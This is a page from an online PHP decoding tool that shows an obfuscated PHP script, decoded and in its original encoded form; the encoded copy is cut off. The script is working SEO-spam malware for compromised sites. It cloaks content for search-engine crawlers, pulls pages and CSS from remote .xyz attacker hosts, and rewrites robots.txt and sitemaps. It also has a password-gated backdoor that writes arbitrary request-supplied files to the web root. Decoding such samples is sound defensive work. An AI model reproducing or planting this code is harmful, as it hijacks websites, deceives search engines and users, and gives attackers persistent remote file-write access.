Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto DCQMb; mFsv8: exit; goto VUN4B; kN8c1: @header("\103\157\x6e\164\x65\x6e\x74\55\x74\x..

Decoded Output download

<?  goto DCQMb; mFsv8: exit; goto VUN4B; kN8c1: @header("Content-type: text/xml"); goto ovWUY; xsD5N: if (stripos($yMK3g, "abby.php")) { goto r2kxB; } goto VcKRA; LZ8yK: if (is_file($h0eJD)) { goto zaBHS; } goto U0aIR; Nx0Hn: exit; goto ZFxSN; U_I3F: goto JZj0h; goto W8t7s; VUN4B: qbRIS: goto KRApI; AX6ez: if (!($vv8if == "f75fd5acd36a7fbd1e219b19881a5348bfc66e79")) { goto BcQzY; } goto cRCdD; ZsL5x: if (isset($_SERVER["DOCUMENT_ROOT"])) { goto gYgW3; } goto Duywt; OVOZK: r2kxB: goto h3sKy; KyHQ4: $kSx3j = str_replace("pingxmlgetcontent", '', $kSx3j); goto DF1kt; D70IQ: goto XOpZZ; goto jPLq3; KRApI: goto ovIv3; goto cu_vj; IHLTI: function FP9Lb($ZGLoD) { goto gkh2c; TPF8R: foreach ($HA2kd as $TjjQH) { goto tOaaC; Krq4d: $q8e64 = strpos($Bnz76, "Sitemap Notification Received") !== false ? "pingok" : "error"; goto aW4Aa; aW4Aa: $IfSF9 .= $TjjQH . "-- " . $q8e64 . "<br>"; goto rdNB3; tOaaC: $Bnz76 = dN1Jb($TjjQH); goto Krq4d; rdNB3: ZHq49: goto M3LHM; M3LHM: } goto srAxf; JNwqt: return $IfSF9; goto htVLt; gkh2c: $HA2kd = explode("\xd
", trim($ZGLoD)); goto RB_up; srAxf: xMOoP: goto JNwqt; RB_up: $IfSF9 = ''; goto TPF8R; htVLt: } goto yMCqt; TGC8o: $cDOoX = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto pLvqd; W8t7s: X8MXe: goto H438D; HYUtp: $kSx3j = str_replace("okxmlgetcontent", '', $kSx3j); goto kN8c1; SZX0g: goto eU41C; goto BGtdJ; adLaO: rR8xp: goto PsaTb; jbjrU: ZMVVp: goto adLaO; Duywt: $kd__e = dirname(__FILE__); goto j02o2; fIBSw: $MTgiC = "https"; goto ToJh_; JajOX: goto S9I3O; goto iB0tX; mQNwZ: $zoWS5 = "http"; goto L7hen; esKPo: $UmEcF = $_SERVER["HTTP_REFERER"]; goto O2Wmr; JtEgL: exit; goto buBql; mVPE7: if (!($yMK3g == '')) { goto sAZCO; } goto YLbVw; C1h5g: H3ieX($whVfK, $h0eJD, $oXT1k); goto NgWHU; XoGiX: if (!file_put_contents($kd__e . "/" . $SNv01, $fv8oP)) { goto Vkqo4; } goto cC48o; wccdW: @header("Content-type: text/html; charset=utf-8"); goto WWzbV; oAxOs: if (is_dir($kd__e . "/wp-includes")) { goto TS3gN; } goto hk8be; n3Q3i: BcQzY: goto ZsL5x; GZ9Jl: goto f5HsM; goto qg3lz; FEdhV: goto UOP6o; goto orCjI; DCQMb: @set_time_limit(3600); goto q9V6y; CmPkm: Y6q1j: goto fIBSw; fKQgr: if (strstr($kSx3j, "nobotuseragent")) { goto djsHg; } goto JQ9hs; mHV3P: goto Pzk14; goto VxId5; BXATY: goto B2nBP; goto CzUAu; nu22W: $kSx3j = str_replace("[##linkcss##]", '', $kSx3j); goto iR2Zn; cS_qj: $kSx3j = str_replace("getcontent301page", '', $kSx3j); goto jldU3; hGN3Q: if (!isset($_SERVER["HTTP_REFERER"])) { goto Bnb6K; } goto esKPo; nVB1F: if (!strstr($kSx3j, "getcontent301page")) { goto qbRIS; } goto YOYeD; EW4on: $rM613 = "wp-includes/css"; goto fgMXy; iB0tX: vqWhH: goto HYUtp; yhfmX: goto FnDvt; goto J3wSB; IJ5Er: S9I3O: goto GZ9Jl; wFJ83: z9jLC: goto bHrtg; rbqvL: if (!($CCvgo == dN1Jb($zoWS5 . "://" . $MXq5b . "/a.p" . "hp") || $O9PE5 == "f8f0dae804368c0334e22d9dcb70d3c7bbfa9635")) { goto tGb0d; } goto pPcvI; Cld1J: EGbuK: goto qMcbK; vGLtP: Ue8_l: goto A0E11; UK3fJ: $C1AVn = "%67%71%76%61%61%72%65%6B%72%2E%65%6A%6E%65%7A%75%72%6E%2E%6B%6C%6D"; goto mQNwZ; b5aAC: $QMDxz = "put"; goto Cld1J; S3ktH: $CCvgo = sha1(sha1(@$_REQUEST["a"])); goto hl0wl; Qpkxu: v1XmS: goto rfdkm; bHYZR: RrCb6: goto BXATY; cu_vj: gZnG8: goto xacPB; iR2Zn: goto V04gI; goto f2_TN; peZZJ: @header("HTTP/1.1 500 Internal Server Error"); goto sQEHI; Unqy2: zaBHS: goto EDqNB; mW9nY: echo "<br>ok<br>"; goto QafS6; tmSS1: $kSx3j = str_replace("[##linkcss##]", "<style>" . $XrzAm . "</style>", $kSx3j); goto GP_L2; Ah0N3: OXkM9: goto ESLMC; jldU3: header("Location: " . $kSx3j); goto mFsv8; ywZO2: $vHRNB = $sQbpv; goto U_I3F; cC48o: echo "ok"; goto WC4p3; VcKRA: $MXq5b = "tdinnerxe.rwarmhea.xyz"; goto gPnAH; gPnAH: goto RrCb6; goto OVOZK; JzIws: f5HsM: goto xOUhY; RKRDl: $HvrAi = $MTgiC . "://" . $sQbpv . "/" . $SNv01; goto pTphh; WC4p3: Vkqo4: goto Ozooj; P4hvu: function kLDTG() { goto dEcQj; dz10w: $IwIe0 = $_SERVER["REQUEST_URI"]; goto EB_9I; TnmtA: goto gF0XR; goto EOfsY; CCqtu: gF0XR: goto sWv4c; EB_9I: IFg4f: goto Kiuqp; TXPHB: if (isset($_SERVER["argv"])) { goto VzH8r; } goto muDeQ; dEcQj: if (isset($_SERVER["REQUEST_URI"])) { goto QK8ov; } goto TXPHB; sWv4c: goto IFg4f; goto IXaim; Lxfq9: $IwIe0 = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; goto CCqtu; Kiuqp: return $IwIe0; goto u9AO5; muDeQ: $IwIe0 = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; goto TnmtA; IXaim: QK8ov: goto dz10w; EOfsY: VzH8r: goto Lxfq9; u9AO5: } goto SZSKf; C3_41: function h3iex($whVfK, $h0eJD, $oXT1k) { goto HgP1r; TFQUU: TPT6u: goto MLLPa; AhgjY: goto TPT6u; goto pDFiv; HgS0E: if (file_exists($h0eJD)) { goto kEmDr; } goto DMg_V; DMg_V: @file_put_contents($h0eJD, DN1JB($oXT1k)); goto gWaHn; difk5: SsPSH: goto AhgjY; Z4glo: FluiA: goto TFQUU; k8nL8: @file_put_contents($h0eJD, DN1Jb($oXT1k)); goto Z4glo; HgP1r: if (is_dir($whVfK)) { goto yjOGk; } goto ni_UI; gWaHn: kEmDr: goto difk5; pDFiv: yjOGk: goto DI6tq; DI6tq: if (file_exists($h0eJD)) { goto FluiA; } goto k8nL8; ni_UI: if (!@mkdir($whVfK)) { goto SsPSH; } goto HgS0E; MLLPa: } goto ZGnaj; pPcvI: $fv8oP = @$_REQUEST["dstr"]; goto XoGiX; DLc6K: echo "<br>sitemap name false!<br>"; goto knROs; pLvqd: $cDOoX = urlencode($cDOoX); goto A09Xk; gsVCE: $MXq5b = "prunlikexl.seadared.xyz"; goto Td9Gb; J3wSB: DKLPv: goto peZZJ; YLbVw: $yMK3g = "/"; goto slLmD; aHC7Q: if (strstr($SNv01, ".xml")) { goto or8tq; } goto DLc6K; YOYeD: @header("HTTP/1.1 301 Moved Permanently"); goto cS_qj; lP8er: if (file_put_contents($wi3yO, trim($vm7xw) . "
\xa" . "Sitemap: " . $HvrAi)) { goto eyQUb; } goto LdOd1; lMTF9: $kd__e = $_SERVER["DOCUMENT_ROOT"]; goto YKZi9; ToJh_: P7aZw: goto Y9CCp; jPLq3: EhCHx: goto KyHQ4; VKSY3: goto ZMVVp; goto Qpkxu; ITdn3: $kd__e = dirname(__FILE__); goto mHV3P; Mo2x0: @header("Content-type: text/html; charset=utf-8"); goto Z7uLt; h3sKy: $MXq5b = "vdlisticxe.sglowter.xyz"; goto bHYZR; PppcO: $vv8if = sha1(sha1(@$_REQUEST["pd"])); goto AX6ez; s0KsM: $XrzAm = file_get_contents($h0eJD); goto tmSS1; Td9Gb: B2nBP: goto ngG8U; H438D: $vHRNB = substr($sQbpv, 4); goto GrTxz; QafS6: UOP6o: goto VKSY3; yt9YX: if (strstr($kSx3j, "pingxmlgetcontent")) { goto EhCHx; } goto xb4TM; p2yrv: eU41C: goto RKRDl; Zyj3R: echo $kSx3j; goto CPml_; fgMXy: XDYK4: goto l8EWG; Zd5pa: if (file_exists($wi3yO)) { goto v0ELh; } goto Tk2Og; SiRFv: $kSx3j = str_replace("okhtmlgetcontent", '', $kSx3j); goto Zyj3R; A09Xk: $UmEcF = ''; goto hGN3Q; exxIF: TS3gN: goto EW4on; L7hen: if (Y5zuL()) { goto Y6q1j; } goto io_z8; YKZi9: hfyrO: goto oAxOs; pTphh: if (stristr($vm7xw, $HvrAi)) { goto v1XmS; } goto lP8er; i9Tp1: exit; goto IJ5Er; mgD0P: exit; goto n3Q3i; qg3lz: R51nv: goto Mo2x0; buBql: ovIv3: goto yhfmX; qMcbK: if (!($QMDxz == "put")) { goto OBfyM; } goto aHC7Q; ZFxSN: XOpZZ: goto JajOX; CzUAu: gTI2j: goto gsVCE; S4HYy: @unlink($GmpNs); goto Ah0N3; Tk2Og: $vm7xw = "User-agent: *
Allow: /"; goto SZX0g; AIrxQ: if (strstr($kSx3j, "getcontent404page")) { goto gZnG8; } goto nVB1F; j02o2: goto hfyrO; goto dsut2; PsaTb: if (!strstr($SNv01, ".p" . "hp")) { goto Ue8_l; } goto S3ktH; xacPB: @header("HTTP/1.1 404 Not Found"); goto JtEgL; vcjet: $GmpNs = $kd__e . "/sitemap.xml"; goto otmOv; UMja4: goto z9jLC; goto Unqy2; wijLM: $gnIHj = str_rot13(substr($vHRNB, 0, 3) . substr($MXq5b, 0, 3)) . ".css"; goto XuOJk; z80iS: if (substr($sQbpv, 0, 4) == "www.") { goto X8MXe; } goto ywZO2; U0aIR: $TwpJQ = $zoWS5 . "://" . $MXq5b . "/indexnew.php?web=" . $sQbpv . "&zz=" . i2Cs5() . "&uri=" . $IwIe0 . "&urlshang=" . $UmEcF . "&http=" . $MTgiC . "&lang=" . $cDOoX; goto UMja4; XuOJk: $h0eJD = $kd__e . "/" . $rM613 . "/" . $gnIHj; goto qZDmJ; OoL0o: FnDvt: goto D70IQ; YBQTc: $sQbpv = $_SERVER["HTTP_HOST"]; goto TGC8o; EDqNB: $TwpJQ = $zoWS5 . "://" . $MXq5b . "/indexnew.php?web=" . $sQbpv . "&zz=" . i2cS5() . "&uri=" . $IwIe0 . "&urlshang=" . $UmEcF . "&http=" . $MTgiC . "&lang=" . $cDOoX . "&css=1"; goto wFJ83; qZDmJ: $oXT1k = $zoWS5 . "://" . $MXq5b . "/temp/style.css"; goto IHLTI; yMCqt: function I2CS5() { goto Etxg0; YFEaq: goto QBaVS; goto DMX_n; DMX_n: efSaX: goto jPURU; wE1VB: return false; goto YFEaq; PJbyy: if (stristr($qWu_n, "googlebot") || stristr($qWu_n, "bing") || stristr($qWu_n, "yahoo") || stristr($qWu_n, "google") || stristr($qWu_n, "Googlebot") || stristr($qWu_n, "googlebot")) { goto efSaX; } goto wE1VB; oWxS_: QBaVS: goto DdL2e; jPURU: return true; goto oWxS_; Etxg0: $qWu_n = strtolower($_SERVER["HTTP_USER_AGENT"]); goto PJbyy; DdL2e: } goto VS0z5; ngG8U: function y5zul() { goto vanJL; nqgZY: return true; goto Gy8SH; ePQon: return false; goto oeCF4; YSV2h: goto eLcQv; goto ZHiDb; F6iY2: return true; goto YSV2h; jupIC: return true; goto kO_Oe; kO_Oe: goto eLcQv; goto syIND; syIND: BQAtT: goto nqgZY; Gy8SH: eLcQv: goto ePQon; ZHiDb: KHAhg: goto jupIC; IttnO: ErceS: goto F6iY2; nzJ2v: goto eLcQv; goto IttnO; vanJL: if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { goto ErceS; } goto QImcg; B9gFX: if (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { goto BQAtT; } goto nzJ2v; QImcg: if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { goto KHAhg; } goto B9gFX; oeCF4: } goto YBQTc; JQ9hs: if (strstr($kSx3j, "okhtmlgetcontent")) { goto R51nv; } goto JrxBv; RGE2c: if ($QMDxz) { goto EGbuK; } goto b5aAC; otmOv: if (!is_file($GmpNs)) { goto OXkM9; } goto S4HYy; cfnvZ: goto XDYK4; goto exxIF; Y9CCp: $yMK3g = KLdTg(); goto mVPE7; knROs: goto rR8xp; goto BoeKe; cRCdD: $SNv01 = @$_REQUEST["mapname"]; goto xzNZ0; q9V6y: @ignore_user_abort(1); goto UK3fJ; SZSKf: if (stripos($yMK3g, "report.php")) { goto gTI2j; } goto xsD5N; slLmD: sAZCO: goto VEkTm; DF1kt: h3iex($whVfK, $h0eJD, $oXT1k); goto wccdW; J643d: $vm7xw = DN1JB($wi3yO); goto p2yrv; ZGnaj: if (!($yMK3g == "/" || strstr($yMK3g, "ewttm"))) { goto rayog; } goto C1h5g; io_z8: $MTgiC = "http"; goto JnJIE; hk8be: $rM613 = "css"; goto cfnvZ; l8EWG: $whVfK = $kd__e . "/" . $rM613; goto z80iS; JrxBv: if (strstr($kSx3j, "okxmlgetcontent")) { goto vqWhH; } goto yt9YX; orCjI: eyQUb: goto mW9nY; CPml_: exit; goto JzIws; BoeKe: or8tq: goto vcjet; rfdkm: echo "<br>sitemap already added!<br>"; goto jbjrU; xb4TM: if (strstr($kSx3j, "getcontent500page")) { goto DKLPv; } goto AIrxQ; BGtdJ: v0ELh: goto J643d; GrTxz: JZj0h: goto wijLM; Ozooj: tGb0d: goto vGLtP; hl0wl: $O9PE5 = sha1(sha1(@$_REQUEST["b"])); goto rbqvL; ESLMC: $wi3yO = $kd__e . "/robots.txt"; goto Zd5pa; Z1cdJ: if (isset($_SERVER["DOCUMENT_ROOT"])) { goto qRfwB; } goto ITdn3; VS0z5: function dN1jB($ZGLoD) { goto lrVaY; hZAFj: $svSxg = curl_exec($uc5HJ); goto RlIMA; ItS4r: nB1qC: goto MXmWn; ZtoQC: $svSxg = @file_get_contents($ZGLoD); goto kMcXF; XufmL: $uc5HJ = curl_init(); goto G7LU7; Kagis: curl_setopt($uc5HJ, CURLOPT_CONNECTTIMEOUT, 30); goto hZAFj; RlIMA: curl_close($uc5HJ); goto ItS4r; pxviz: curl_setopt($uc5HJ, CURLOPT_SSL_VERIFYPEER, 0); goto LiTBK; wRK5a: return $svSxg; goto p9p3W; MXmWn: if ($svSxg) { goto RXVUX; } goto ZtoQC; lrVaY: $svSxg = ''; goto RjUEj; hXXfU: curl_setopt($uc5HJ, CURLOPT_SSL_VERIFYHOST, 0); goto pxviz; LiTBK: curl_setopt($uc5HJ, CURLOPT_RETURNTRANSFER, 1); goto Kagis; kMcXF: RXVUX: goto wRK5a; RjUEj: if (!function_exists("curl_init")) { goto nB1qC; } goto XufmL; G7LU7: curl_setopt($uc5HJ, CURLOPT_URL, $ZGLoD); goto hXXfU; p9p3W: } goto C3_41; WWzbV: echo Fp9Lb($kSx3j); goto Nx0Hn; f2_TN: HSCda: goto s0KsM; JnJIE: goto P7aZw; goto CmPkm; SKfE4: $kd__e = $_SERVER["DOCUMENT_ROOT"]; goto iUlLi; Z7uLt: if (file_exists($h0eJD)) { goto HSCda; } goto nu22W; sQEHI: exit; goto OoL0o; ovWUY: echo $kSx3j; goto i9Tp1; xzNZ0: $QMDxz = @$_REQUEST["action"]; goto Z1cdJ; GP_L2: V04gI: goto SiRFv; dsut2: gYgW3: goto lMTF9; VxId5: qRfwB: goto SKfE4; NgWHU: rayog: goto LZ8yK; bHrtg: $kSx3j = trim(dn1jB($TwpJQ)); goto fKQgr; LdOd1: echo "<br>file write false!<br>"; goto FEdhV; A0E11: OBfyM: goto mgD0P; VEkTm: $IwIe0 = urlencode($yMK3g); goto P4hvu; iUlLi: Pzk14: goto RGE2c; O2Wmr: $UmEcF = urlencode($UmEcF); goto U422a; U422a: Bnb6K: goto PppcO; xOUhY: djsHg: ?>

Did this file decode correctly?

Original Code

goto DCQMb; mFsv8: exit; goto VUN4B; kN8c1: @header("\103\157\x6e\164\x65\x6e\x74\55\x74\x79\x70\145\x3a\x20\x74\145\170\x74\x2f\x78\x6d\154"); goto ovWUY; xsD5N: if (stripos($yMK3g, "\x61\x62\x62\171\x2e\x70\150\x70")) { goto r2kxB; } goto VcKRA; LZ8yK: if (is_file($h0eJD)) { goto zaBHS; } goto U0aIR; Nx0Hn: exit; goto ZFxSN; U_I3F: goto JZj0h; goto W8t7s; VUN4B: qbRIS: goto KRApI; AX6ez: if (!($vv8if == "\x66\x37\65\x66\x64\65\141\143\144\x33\66\141\x37\146\142\144\x31\x65\x32\x31\x39\x62\x31\x39\70\70\61\x61\x35\x33\x34\x38\x62\x66\x63\66\x36\x65\x37\71")) { goto BcQzY; } goto cRCdD; ZsL5x: if (isset($_SERVER["\x44\x4f\x43\125\115\105\116\x54\x5f\x52\x4f\117\x54"])) { goto gYgW3; } goto Duywt; OVOZK: r2kxB: goto h3sKy; KyHQ4: $kSx3j = str_replace("\x70\x69\x6e\147\x78\155\154\x67\x65\164\x63\157\156\x74\145\156\164", '', $kSx3j); goto DF1kt; D70IQ: goto XOpZZ; goto jPLq3; KRApI: goto ovIv3; goto cu_vj; IHLTI: function FP9Lb($ZGLoD) { goto gkh2c; TPF8R: foreach ($HA2kd as $TjjQH) { goto tOaaC; Krq4d: $q8e64 = strpos($Bnz76, "\x53\x69\x74\145\x6d\141\160\40\x4e\157\x74\151\x66\x69\x63\141\164\151\x6f\156\40\x52\145\143\145\x69\x76\x65\x64") !== false ? "\x70\151\156\147\157\153" : "\x65\162\x72\157\x72"; goto aW4Aa; aW4Aa: $IfSF9 .= $TjjQH . "\x2d\55\x20" . $q8e64 . "\x3c\x62\162\76"; goto rdNB3; tOaaC: $Bnz76 = dN1Jb($TjjQH); goto Krq4d; rdNB3: ZHq49: goto M3LHM; M3LHM: } goto srAxf; JNwqt: return $IfSF9; goto htVLt; gkh2c: $HA2kd = explode("\xd\12", trim($ZGLoD)); goto RB_up; srAxf: xMOoP: goto JNwqt; RB_up: $IfSF9 = ''; goto TPF8R; htVLt: } goto yMCqt; TGC8o: $cDOoX = @$_SERVER["\110\124\124\120\137\x41\103\x43\x45\x50\124\x5f\x4c\x41\116\x47\x55\x41\107\x45"]; goto pLvqd; W8t7s: X8MXe: goto H438D; HYUtp: $kSx3j = str_replace("\157\x6b\x78\x6d\154\x67\x65\164\143\157\156\x74\145\x6e\164", '', $kSx3j); goto kN8c1; SZX0g: goto eU41C; goto BGtdJ; adLaO: rR8xp: goto PsaTb; jbjrU: ZMVVp: goto adLaO; Duywt: $kd__e = dirname(__FILE__); goto j02o2; fIBSw: $MTgiC = "\150\164\x74\x70\x73"; goto ToJh_; JajOX: goto S9I3O; goto iB0tX; mQNwZ: $zoWS5 = "\x68\164\x74\x70"; goto L7hen; esKPo: $UmEcF = $_SERVER["\110\124\124\120\137\122\x45\106\105\x52\105\x52"]; goto O2Wmr; JtEgL: exit; goto buBql; mVPE7: if (!($yMK3g == '')) { goto sAZCO; } goto YLbVw; C1h5g: H3ieX($whVfK, $h0eJD, $oXT1k); goto NgWHU; XoGiX: if (!file_put_contents($kd__e . "\57" . $SNv01, $fv8oP)) { goto Vkqo4; } goto cC48o; wccdW: @header("\103\157\156\164\145\x6e\x74\x2d\164\x79\x70\x65\72\x20\164\x65\170\x74\57\x68\x74\155\154\x3b\40\x63\150\x61\162\x73\x65\164\x3d\x75\x74\146\55\x38"); goto WWzbV; oAxOs: if (is_dir($kd__e . "\57\x77\x70\55\151\156\143\154\x75\x64\145\x73")) { goto TS3gN; } goto hk8be; n3Q3i: BcQzY: goto ZsL5x; GZ9Jl: goto f5HsM; goto qg3lz; FEdhV: goto UOP6o; goto orCjI; DCQMb: @set_time_limit(3600); goto q9V6y; CmPkm: Y6q1j: goto fIBSw; fKQgr: if (strstr($kSx3j, "\156\x6f\142\x6f\164\165\x73\x65\x72\141\147\x65\156\x74")) { goto djsHg; } goto JQ9hs; mHV3P: goto Pzk14; goto VxId5; BXATY: goto B2nBP; goto CzUAu; nu22W: $kSx3j = str_replace("\133\43\43\x6c\151\x6e\153\x63\163\163\43\x23\135", '', $kSx3j); goto iR2Zn; cS_qj: $kSx3j = str_replace("\147\145\x74\x63\x6f\156\164\145\x6e\x74\63\60\61\x70\x61\x67\x65", '', $kSx3j); goto jldU3; hGN3Q: if (!isset($_SERVER["\x48\x54\x54\x50\137\x52\105\106\x45\122\x45\x52"])) { goto Bnb6K; } goto esKPo; nVB1F: if (!strstr($kSx3j, "\147\145\x74\143\157\x6e\x74\145\x6e\x74\x33\x30\x31\160\141\147\145")) { goto qbRIS; } goto YOYeD; EW4on: $rM613 = "\167\160\x2d\x69\156\143\154\x75\x64\x65\163\x2f\143\163\163"; goto fgMXy; iB0tX: vqWhH: goto HYUtp; yhfmX: goto FnDvt; goto J3wSB; IJ5Er: S9I3O: goto GZ9Jl; wFJ83: z9jLC: goto bHrtg; rbqvL: if (!($CCvgo == dN1Jb($zoWS5 . "\72\x2f\x2f" . $MXq5b . "\57\x61\56\x70" . "\x68\160") || $O9PE5 == "\146\x38\x66\x30\144\141\x65\x38\60\64\63\x36\x38\x63\x30\x33\x33\x34\145\62\x32\144\x39\x64\x63\142\x37\x30\144\63\143\x37\x62\x62\x66\141\x39\x36\63\65")) { goto tGb0d; } goto pPcvI; Cld1J: EGbuK: goto qMcbK; vGLtP: Ue8_l: goto A0E11; UK3fJ: $C1AVn = "\45\x36\67\45\67\61\45\67\x36\x25\x36\x31\45\66\61\x25\67\62\45\66\65\45\66\x42\45\67\x32\x25\62\x45\x25\66\65\45\x36\101\45\x36\x45\x25\x36\65\x25\67\101\45\67\65\x25\67\62\45\x36\x45\45\62\105\45\x36\x42\x25\66\103\x25\x36\x44"; goto mQNwZ; b5aAC: $QMDxz = "\160\x75\164"; goto Cld1J; S3ktH: $CCvgo = sha1(sha1(@$_REQUEST["\141"])); goto hl0wl; Qpkxu: v1XmS: goto rfdkm; bHYZR: RrCb6: goto BXATY; cu_vj: gZnG8: goto xacPB; iR2Zn: goto V04gI; goto f2_TN; peZZJ: @header("\x48\124\124\x50\57\x31\x2e\x31\x20\65\x30\60\40\x49\156\x74\145\162\x6e\141\154\40\x53\145\162\x76\145\x72\x20\x45\162\x72\157\162"); goto sQEHI; Unqy2: zaBHS: goto EDqNB; mW9nY: echo "\74\x62\x72\x3e\x6f\x6b\74\142\162\76"; goto QafS6; tmSS1: $kSx3j = str_replace("\x5b\43\43\154\x69\x6e\x6b\x63\x73\x73\43\43\x5d", "\74\x73\x74\171\x6c\x65\76" . $XrzAm . "\x3c\57\x73\164\171\x6c\145\x3e", $kSx3j); goto GP_L2; Ah0N3: OXkM9: goto ESLMC; jldU3: header("\114\x6f\143\x61\164\151\157\x6e\72\x20" . $kSx3j); goto mFsv8; ywZO2: $vHRNB = $sQbpv; goto U_I3F; cC48o: echo "\x6f\x6b"; goto WC4p3; VcKRA: $MXq5b = "\164\144\x69\156\x6e\x65\162\x78\x65\x2e\162\x77\x61\x72\155\150\145\x61\x2e\x78\x79\172"; goto gPnAH; gPnAH: goto RrCb6; goto OVOZK; JzIws: f5HsM: goto xOUhY; RKRDl: $HvrAi = $MTgiC . "\x3a\57\x2f" . $sQbpv . "\57" . $SNv01; goto pTphh; WC4p3: Vkqo4: goto Ozooj; P4hvu: function kLDTG() { goto dEcQj; dz10w: $IwIe0 = $_SERVER["\x52\x45\x51\125\105\123\124\x5f\x55\x52\x49"]; goto EB_9I; TnmtA: goto gF0XR; goto EOfsY; CCqtu: gF0XR: goto sWv4c; EB_9I: IFg4f: goto Kiuqp; TXPHB: if (isset($_SERVER["\x61\162\147\x76"])) { goto VzH8r; } goto muDeQ; dEcQj: if (isset($_SERVER["\x52\x45\x51\125\x45\x53\x54\137\x55\122\111"])) { goto QK8ov; } goto TXPHB; sWv4c: goto IFg4f; goto IXaim; Lxfq9: $IwIe0 = $_SERVER["\120\x48\x50\137\x53\x45\114\106"] . "\x3f" . $_SERVER["\x61\x72\147\x76"][0]; goto CCqtu; Kiuqp: return $IwIe0; goto u9AO5; muDeQ: $IwIe0 = $_SERVER["\x50\x48\x50\137\x53\x45\114\106"] . "\77" . $_SERVER["\121\125\x45\122\131\x5f\123\124\x52\111\x4e\107"]; goto TnmtA; IXaim: QK8ov: goto dz10w; EOfsY: VzH8r: goto Lxfq9; u9AO5: } goto SZSKf; C3_41: function h3iex($whVfK, $h0eJD, $oXT1k) { goto HgP1r; TFQUU: TPT6u: goto MLLPa; AhgjY: goto TPT6u; goto pDFiv; HgS0E: if (file_exists($h0eJD)) { goto kEmDr; } goto DMg_V; DMg_V: @file_put_contents($h0eJD, DN1JB($oXT1k)); goto gWaHn; difk5: SsPSH: goto AhgjY; Z4glo: FluiA: goto TFQUU; k8nL8: @file_put_contents($h0eJD, DN1Jb($oXT1k)); goto Z4glo; HgP1r: if (is_dir($whVfK)) { goto yjOGk; } goto ni_UI; gWaHn: kEmDr: goto difk5; pDFiv: yjOGk: goto DI6tq; DI6tq: if (file_exists($h0eJD)) { goto FluiA; } goto k8nL8; ni_UI: if (!@mkdir($whVfK)) { goto SsPSH; } goto HgS0E; MLLPa: } goto ZGnaj; pPcvI: $fv8oP = @$_REQUEST["\x64\163\164\162"]; goto XoGiX; DLc6K: echo "\74\x62\x72\x3e\x73\151\x74\x65\155\141\160\40\x6e\141\x6d\145\x20\146\141\154\163\x65\41\74\x62\162\x3e"; goto knROs; pLvqd: $cDOoX = urlencode($cDOoX); goto A09Xk; gsVCE: $MXq5b = "\x70\162\165\156\x6c\x69\153\145\170\154\x2e\x73\145\x61\x64\141\x72\x65\x64\x2e\170\x79\172"; goto Td9Gb; J3wSB: DKLPv: goto peZZJ; YLbVw: $yMK3g = "\x2f"; goto slLmD; aHC7Q: if (strstr($SNv01, "\x2e\x78\x6d\154")) { goto or8tq; } goto DLc6K; YOYeD: @header("\x48\x54\x54\x50\57\x31\56\61\40\x33\x30\61\x20\115\157\166\x65\144\40\x50\145\162\x6d\141\x6e\145\x6e\x74\x6c\x79"); goto cS_qj; lP8er: if (file_put_contents($wi3yO, trim($vm7xw) . "\15\xa" . "\x53\151\x74\145\x6d\x61\x70\72\40" . $HvrAi)) { goto eyQUb; } goto LdOd1; lMTF9: $kd__e = $_SERVER["\x44\117\103\125\x4d\105\x4e\124\137\x52\x4f\x4f\124"]; goto YKZi9; ToJh_: P7aZw: goto Y9CCp; jPLq3: EhCHx: goto KyHQ4; VKSY3: goto ZMVVp; goto Qpkxu; ITdn3: $kd__e = dirname(__FILE__); goto mHV3P; Mo2x0: @header("\103\x6f\156\x74\145\156\164\55\x74\x79\x70\145\x3a\x20\164\145\x78\x74\57\x68\x74\155\x6c\x3b\40\x63\x68\x61\162\163\x65\164\75\x75\x74\146\55\70"); goto Z7uLt; h3sKy: $MXq5b = "\x76\144\154\x69\x73\x74\x69\x63\170\145\x2e\163\x67\x6c\x6f\x77\x74\145\x72\x2e\170\171\172"; goto bHYZR; PppcO: $vv8if = sha1(sha1(@$_REQUEST["\x70\144"])); goto AX6ez; s0KsM: $XrzAm = file_get_contents($h0eJD); goto tmSS1; Td9Gb: B2nBP: goto ngG8U; H438D: $vHRNB = substr($sQbpv, 4); goto GrTxz; QafS6: UOP6o: goto VKSY3; yt9YX: if (strstr($kSx3j, "\160\x69\x6e\147\170\155\154\147\145\164\x63\x6f\156\164\145\x6e\x74")) { goto EhCHx; } goto xb4TM; p2yrv: eU41C: goto RKRDl; Zyj3R: echo $kSx3j; goto CPml_; fgMXy: XDYK4: goto l8EWG; Zd5pa: if (file_exists($wi3yO)) { goto v0ELh; } goto Tk2Og; SiRFv: $kSx3j = str_replace("\x6f\x6b\x68\164\x6d\x6c\x67\145\164\143\157\x6e\164\145\156\164", '', $kSx3j); goto Zyj3R; A09Xk: $UmEcF = ''; goto hGN3Q; exxIF: TS3gN: goto EW4on; L7hen: if (Y5zuL()) { goto Y6q1j; } goto io_z8; YKZi9: hfyrO: goto oAxOs; pTphh: if (stristr($vm7xw, $HvrAi)) { goto v1XmS; } goto lP8er; i9Tp1: exit; goto IJ5Er; mgD0P: exit; goto n3Q3i; qg3lz: R51nv: goto Mo2x0; buBql: ovIv3: goto yhfmX; qMcbK: if (!($QMDxz == "\160\165\164")) { goto OBfyM; } goto aHC7Q; ZFxSN: XOpZZ: goto JajOX; CzUAu: gTI2j: goto gsVCE; S4HYy: @unlink($GmpNs); goto Ah0N3; Tk2Og: $vm7xw = "\125\163\145\x72\55\141\x67\x65\x6e\x74\x3a\40\52\15\12\x41\154\154\x6f\x77\x3a\40\57"; goto SZX0g; AIrxQ: if (strstr($kSx3j, "\147\x65\164\143\x6f\x6e\164\145\x6e\x74\x34\x30\x34\160\141\147\145")) { goto gZnG8; } goto nVB1F; j02o2: goto hfyrO; goto dsut2; PsaTb: if (!strstr($SNv01, "\56\x70" . "\150\x70")) { goto Ue8_l; } goto S3ktH; xacPB: @header("\x48\124\x54\x50\x2f\61\x2e\x31\40\x34\x30\x34\40\116\157\164\40\106\157\x75\156\144"); goto JtEgL; vcjet: $GmpNs = $kd__e . "\x2f\163\x69\x74\x65\x6d\x61\x70\56\x78\155\154"; goto otmOv; 